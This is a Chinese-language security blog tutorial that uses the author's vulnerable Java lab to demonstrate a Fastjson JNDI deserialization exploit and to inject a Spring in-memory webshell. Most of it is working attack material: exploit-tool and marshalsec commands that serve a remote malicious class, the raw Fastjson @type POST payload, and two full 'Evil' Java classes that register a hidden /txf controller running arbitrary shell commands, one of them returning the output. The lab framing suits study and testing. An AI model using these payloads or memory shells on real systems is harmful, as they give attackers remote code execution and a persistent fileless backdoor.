文章作者: 唐小风
文章来源:白帽子飙车路
起因是因为工位旁边的“帅比”同事写内存马的时候挠头搞环境,实在看不下去了。让他用我的靶机他就是不听。
直接拿我之前写的漏洞靶场演示一波。欢迎大家来star一下
https://github.com/tangxiaofeng7/SecExample
JAVA 漏洞靶场-SecExample
效果图:
我直接导入idea.
本地开启mysql服务,然后将mysql目录下的init.sql文件导入。
同时修改resources目录下的application.yml文件,使数据库生效。
url: jdbc:mysql://localhost:3306/mybatis?serverTimezone=UTC&useSSL=false
#url: jdbc:mysql://mysql-db:3306/mybatis?serverTimezone=UTC&useSSL=false&allowPublicKeyRetrieval=true
记得数据的账号密码修改成本地一下。最后启动应用。效果图:
使用利用工具
java -jar FastjsonExploit-0.1-beta2-all.jar JdbcRowSetImpl5 rmi://127.0.0.1:1099/Exploit "cmd:open /System/Applications/Calculator.app"
复制payload
环境是正常的,再尝试写内存马了。
在目录src/main/java/com下新建内存马
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;
import java.io.IOException;
import java.lang.reflect.Method;
public class Evil {
public Evil() throws Exception{
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
// 属性被 private 修饰,所以 setAccessible true
method.setAccessible(true);
// 通过反射获得该类的test方法
Method method2 = Evil.class.getMethod("test");
// 定义该controller的path
PatternsRequestCondition url = new PatternsRequestCondition("/txf");
// 定义允许访问的HTTP方法
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象,避免无限循环使用另一个构造方法
Evil injectToController = new Evil("aaa");
// 将该controller注册到Spring容器
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
private Evil(String aaa) {
}
public void test() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
然后点击重新编译。
然后换到目录/target/classes下起一个web服务
python -m SimpleHTTPServer 8888
然后使用marshalsec启动
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8888/#Evil" 9999
接着exp把内存马打进去。
POST /fastjson HTTP/1.1
Host: 172.16.120.148:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=utf-8
X-Requested-With: XMLHttpRequest
Content-Length: 187
Origin: http://172.16.120.148:8080
Connection: close
Referer: http://172.16.120.148:8080/fastjson{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://127.0.0.1:9999/Exploit","autoCommit":true}}}
尝试使用内存马执行命令
http://172.16.120.148:8080/txf?cmd=open%20/System/Applications/Calculator.app
目前的内存马是无回显的,可以修改代码实现回显
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.PrintWriter;
import java.lang.reflect.Method;
import java.nio.charset.Charset;
public class Evil {
public Evil() throws Exception {
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
// 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 bean
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
// 通过反射获得自定义 controller 中唯一的 Method 对象
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
// 属性被 private 修饰,所以 setAccessible true
method.setAccessible(true);
// 通过反射获得该类的test方法
Method method2 = Evil.class.getMethod("test");
// 定义该controller的path
PatternsRequestCondition url = new PatternsRequestCondition("/txf");
// 定义允许访问的HTTP方法
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 在内存中动态注册 controller
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 创建用于处理请求的对象,避免无限循环使用另一个构造方法
Evil injectToController = new Evil("aaa");
// 将该controller注册到Spring容器
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
private Evil(String aaa) {
}
public void test() throws IOException {
HttpServletRequest request = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getRequest();
HttpServletResponse response = ((ServletRequestAttributes)(RequestContextHolder.currentRequestAttributes())).getResponse();
String code = request.getParameter("code");
if(code != null){
StringBuilder result = new StringBuilder();
Process process = null;
BufferedReader bufrIn = null;
BufferedReader bufrError = null;
response.setCharacterEncoding("utf-8");
response.setContentType("text/html,charset=utf-8");
PrintWriter writer = response.getWriter();
try {
ProcessBuilder builder = null;
if (System.getProperty("os.name").toLowerCase().contains("win")){
builder = new ProcessBuilder(new String[]{"cmd.exe","/c",code});
Process start = builder.start();
bufrIn = new BufferedReader(new InputStreamReader(start.getInputStream(), Charset.forName("GBK")));
bufrError = new BufferedReader(new InputStreamReader(start.getInputStream(),Charset.forName("GBK")));
}else {
builder = new ProcessBuilder(new String[]{"/bin/sh","-c",code});
Process start = builder.start();
bufrIn = new BufferedReader(new InputStreamReader(start.getInputStream(), Charset.forName("UTF-8")));
bufrError = new BufferedReader(new InputStreamReader(start.getInputStream(),Charset.forName("UTF-8")));
}
String line;
while ((line = bufrIn.readLine()) != null){
result.append(line).append('\n').append("</p >");
}
while ((line = bufrError.readLine()) != null){
result.append(line).append('\n').append("</p >");
}
System.out.println(result);
writer.println(result);
writer.flush();
writer.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
}